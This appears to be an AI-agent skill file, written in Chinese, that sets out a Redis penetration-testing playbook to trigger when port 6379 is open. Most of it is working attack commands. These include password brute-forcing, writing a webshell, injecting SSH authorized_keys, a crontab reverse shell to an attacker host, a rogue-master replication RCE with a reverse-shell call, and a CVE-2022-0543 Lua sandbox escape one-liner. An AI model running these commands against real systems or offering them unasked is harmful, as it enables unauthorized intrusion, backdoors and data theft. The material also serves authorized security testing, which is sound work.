redis-pentesting

$npx mdskill add wgpsec/AboutSecurity/redis-pentesting

Execute Redis penetration tests on exposed 6379 services.

  • Enables unauthorized access and remote code execution.
  • Integrates with Nmap, Metasploit, and Redis CLI.
  • Decides actions based on port status and authentication needs.
  • Delivers results via detailed decision trees and command logs.
SKILL.md
.github/skills/redis-pentestingView on GitHub ↗
---
name: redis-pentesting
description: |
  Redis 服务(6379 端口)渗透测试方法论。涵盖 Redis 服务发现、未授权访问、信息提取、写入 webshell、SSH 密钥写入、主从复制 RCE、Lua 沙箱逃逸。
  当 Agent 扫描发现 6379 端口开放、需要测试 Redis 未授权访问、写入文件到目标、或利用 Redis 获取 RCE 时,触发此 Skill。
metadata:
  tags:
    - redis
    - 6379端口
    - 未授权访问
    - webshell写入
    - 主从复制rce
  category: exploit/network-service
---

# Redis 渗透测试方法论 (6379)

## 深入参考

- Redis RCE 技术、Lua 沙箱逃逸 CVE、SSRF 结合利用详情 -> 读 [references/redis-techniques.md](references/redis-techniques.md)

---

## 整体决策树

```
发现 6379 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本扫描 -> 版本信息
│   ├─ 手动连接测试 (nc / redis-cli)
│   └─ 是否需要认证?
│       ├─ 无认证 -> 直接进入 Phase 3
│       └─ 需认证 -> Phase 2
├─ Phase 2: 认证与爆破
│   ├─ 默认密码尝试
│   ├─ 爆破 (hydra / nmap / medusa)
│   └─ AUTH <username> <password>
├─ Phase 3: 信息提取
│   ├─ INFO -> 系统信息、版本、内存、keyspace
│   ├─ CONFIG GET * -> 配置信息 (目录、文件名)
│   ├─ CLIENT LIST -> 连接客户端
│   └─ 数据库遍历 -> SELECT / KEYS * / GET
├─ Phase 4: 文件写入利用
│   ├─ Webshell 写入 (需知 Web 根目录)
│   ├─ SSH authorized_keys 写入
│   ├─ Crontab 写入
│   └─ 模板引擎覆盖
├─ Phase 5: 主从复制 RCE
│   ├─ redis-rogue-server -> 自动化 RCE
│   └─ 手动 SLAVEOF + MODULE LOAD
├─ Phase 6: Lua 沙箱逃逸
│   ├─ CVE-2022-0543 (Debian/Ubuntu lua 库逃逸)
│   ├─ CVE-2025-49844 (parser UAF)
│   ├─ CVE-2025-46817 (unpack 整数溢出)
│   └─ CVE-2025-46818 (元表跨用户代码执行)
└─ SSRF 场景
    └─ 通过 SSRF 与 Redis 通信 (CRLF 注入)
```

---

## Phase 1: 服务发现

### 1.1 自动枚举

```bash
# Nmap Redis 信息脚本
nmap --script redis-info -sV -p 6379 <IP>

# Metasploit
msf> use auxiliary/scanner/redis/redis_server
```

### 1.2 手动连接

```bash
# nc 直接连接
nc -vn <IP> 6379

# redis-cli 连接
redis-cli -h <IP>

# 第一个命令: INFO
# 如果返回 -NOAUTH Authentication required. 则需要认证
```

---

## Phase 2: 认证与爆破

### 2.1 Redis 认证机制

Redis 默认无认证。可配置仅密码 (`requirepass`) 或用户名+密码 (`masteruser`)。

```bash
# 认证命令
AUTH <password>
AUTH <username> <password>
# 成功返回 +OK
```

### 2.2 凭据攻击决策树

```
认证测试
├─ 直接连接 -> INFO
│   ├─ 返回信息 -> 无需认证 -> Phase 3
│   └─ 返回 -NOAUTH -> 需要认证
├─ 爆破
│   ├─ hydra -P passwords.txt redis://<IP>
│   ├─ nmap --script redis-brute -p 6379 <IP>
│   └─ medusa -h <IP> -P passwords.txt -M redis
└─ 认证成功
    └─ 进入 Phase 3
```

---

## Phase 3: 信息提取

### 3.1 基础信息收集

```bash
INFO                        # 系统、版本、内存、keyspace 信息
CLIENT LIST                 # 当前连接的客户端
CONFIG GET *                # 获取所有配置
CONFIG GET dir              # 当前工作目录 (文件写入关键)
CONFIG GET dbfilename       # 数据库文件名
```

### 3.2 数据库遍历

```bash
INFO keyspace               # 查看哪些数据库有数据
SELECT <db_number>          # 切换数据库 (从 0 开始)
KEYS *                      # 列出所有键
GET <key>                   # 获取字符串值
TYPE <key>                  # 获取键类型
LRANGE <key> 0 -1           # 列表类型
HGETALL <key>               # 哈希类型
DUMP <key>                  # 序列化导出
```

### 3.3 实时监控

```bash
MONITOR                     # 实时监控所有命令 (可捕获凭据)
SLOWLOG GET 25              # 最慢的 25 条查询
```

---

## Phase 4: 文件写入利用

### 4.1 写入决策树

```
CONFIG GET dir 获取当前目录
├─ 有 Web 服务
│   └─ Webshell 写入
│       ├─ CONFIG SET dir /usr/share/nginx/html
│       ├─ CONFIG SET dbfilename redis.php
│       ├─ SET test "<?php phpinfo(); ?>"
│       └─ SAVE
├─ 有 SSH 服务
│   └─ SSH 密钥写入
│       ├─ 生成 SSH 密钥对: ssh-keygen -t rsa
│       ├─ 写入公钥: SET ssh_key "\n\n<公钥内容>\n\n"
│       ├─ CONFIG SET dir /var/lib/redis/.ssh (或 /home/<user>/.ssh)
│       ├─ CONFIG SET dbfilename authorized_keys
│       └─ SAVE
├─ Linux 系统
│   └─ Crontab 写入
│       ├─ SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n"
│       ├─ CONFIG SET dir /var/spool/cron/crontabs/ (Ubuntu)
│       │   或 CONFIG SET dir /var/spool/cron/ (CentOS)
│       ├─ CONFIG SET dbfilename root
│       └─ SAVE
└─ 模板引擎环境
    └─ 覆盖模板文件 -> 注入模板表达式 -> RCE
```

### 4.2 Webshell 写入

```bash
redis-cli -h <IP>
> CONFIG SET dir /usr/share/nginx/html
> CONFIG SET dbfilename redis.php
> SET test "<?php phpinfo(); ?>"
> SAVE
```

### 4.3 SSH 密钥写入

```bash
# 1. 生成密钥
ssh-keygen -t rsa -f /tmp/redis_rsa

# 2. 导入公钥到 Redis
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt
cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key

# 3. 写入 authorized_keys
redis-cli -h <IP>
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE

# 4. SSH 登录
ssh -i /tmp/redis_rsa redis@<IP>
```

---

## Phase 5: 主从复制 RCE

### 5.1 原理

将目标 Redis 设为攻击者控制的 master 的 slave,通过复制推送恶意 .so 模块,然后加载执行。

### 5.2 自动化利用

```bash
# redis-rogue-server — 自动获取 shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>
```

### 5.3 手动利用

```bash
# 1. 编译恶意模块
# https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

# 2. 让目标成为 slave
redis-cli -h <TARGET>
> SLAVEOF <ATTACKER_IP> 6379

# 3. 在攻击者 Redis 上设置模块数据
# 4. 加载模块
> MODULE LOAD /path/to/module.so
> system.exec "id"
> system.rev <ATTACKER_IP> 9999

# 5. 清理
> MODULE UNLOAD mymodule
> SLAVEOF NO ONE
```

---

## Phase 6: Lua 沙箱逃逸

### 6.1 逃逸决策树

```
Redis 版本已知 + 可执行 EVAL
├─ Debian/Ubuntu + Redis < 6.2.x 修补前
│   └─ CVE-2022-0543 — package.loadlib 逃逸
├─ Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20
│   ├─ CVE-2025-49844 — Lua parser UAF (GC 竞态)
│   ├─ CVE-2025-46817 — unpack 整数溢出 (DoS/内存耗尽)
│   └─ CVE-2025-46818 — 元表污染 (跨用户代码执行)
└─ 其他版本
    └─ searchsploit redis lua
```

### 6.2 CVE-2022-0543

```bash
# Debian/Ubuntu 特定: lua 库未正确沙箱化
redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```

---

## SSRF 结合利用

当发现 SSRF 漏洞且目标内网有 Redis 时,可通过 SSRF 发送 Redis 命令:

```
SSRF + Redis
├─ Redis 为明文协议 -> 可通过 HTTP 请求注入命令
├─ 利用 CRLF 注入构造 Redis 命令
└─ 典型场景: Gitlab SSRF + CRLF -> Redis queue -> RCE
```
More from wgpsec/AboutSecurity